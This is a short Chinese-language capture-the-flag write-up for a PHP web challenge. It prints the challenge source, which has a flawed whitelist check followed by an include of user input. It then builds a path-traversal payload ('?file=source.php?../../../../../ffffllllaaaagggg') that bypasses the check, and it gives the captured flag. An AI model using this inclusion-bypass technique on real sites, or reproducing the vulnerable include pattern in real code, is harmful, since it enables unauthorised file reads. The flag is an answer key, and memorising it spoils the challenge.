开局一个笑脸,控制台看源码,提示source.php,进入后一串代码
<?phphighlight_file(__FILE__);class emmm{public static function checkFile(&$page){$whitelist = ["source"=>"source.php","hint"=>"hint.php"];if (! isset($page) || !is_string($page)) {echo "you can't see it";return false;}if (in_array($page, $whitelist)) {return true;}$_page = mb_substr($page,0,mb_strpos($page . '?', '?'));if (in_array($_page, $whitelist)) {return true;}$_page = urldecode($page);$_page = mb_substr($_page,0,mb_strpos($_page . '?', '?'));if (in_array($_page, $whitelist)) {return true;}echo "you can't see it";return false;}}if (! empty($_REQUEST['file'])&& is_string($_REQUEST['file'])&& emmm::checkFile($_REQUEST['file'])) {include $_REQUEST['file'];exit;} else {echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";}
?>
得到另一个地址hint.php,进入后是提示
下面进行代码分析
if (! empty($_REQUEST['file']) //$_REQUEST['file']值非空&& is_string($_REQUEST['file']) //$_REQUEST['file']值为字符串&& emmm::checkFile($_REQUEST['file']) //checkFile函数过滤) {include $_REQUEST['file']; //包含$_REQUEST['file']文件exit;} else {echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";}
1.值为非空
2.值为字符串
3.能够通过checkFile()函数校验
并且checkfile()函数中出现了白名单,source.php或者hint.php做参。
构造?file=source.php?../../../../../ffffllllaaaagggg
当然…/…/是经过一个一个累加得出来的,毕竟不知道flag放在哪一层目录。
flag{25e7bce6005c4e0c983fb97297ac6e5a}